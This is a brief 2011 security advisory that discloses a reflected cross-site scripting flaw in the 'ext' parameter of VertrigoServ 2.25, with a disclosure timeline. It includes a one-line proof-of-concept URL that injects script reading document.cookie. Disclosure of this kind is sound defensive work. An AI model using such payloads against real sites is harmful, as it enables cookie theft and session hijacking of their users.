VertrigoServ 2.25 Cross-Site-Scripting vulnerability

[security () infoserve de]

Advisory:               VertrigoServ 2.25 Cross-Site-Scripting vulnerability
Advisory ID:            INFOSERVE-ADV2011-11
Author:                 Stefan Schurtz
Contact:                security () infoserve de
Affected Software:      Successfully tested on VertrigoServ 2.25
Vendor URL:             http://vertrigo.sourceforge.net/
Vendor Status:          informed

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Vulnerability Description
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VertrigoServ 2.25 'ext' parameter is prone to a Cross-site-Scripting vulnerability

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PoC-Exploit
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http://[target]/inc/extensions.php?mode=extensions&ext='";</script><script>alert(document.cookie)</script>

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Solution
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-

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Disclosure Timeline
====================

15-Dec-2011 - informed vendor
16-Dec-2011 - vendor feedback

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Credits
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Vulnerabilitiy found and advisory written by the INFOSERVE security team.

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References
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http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-11.txt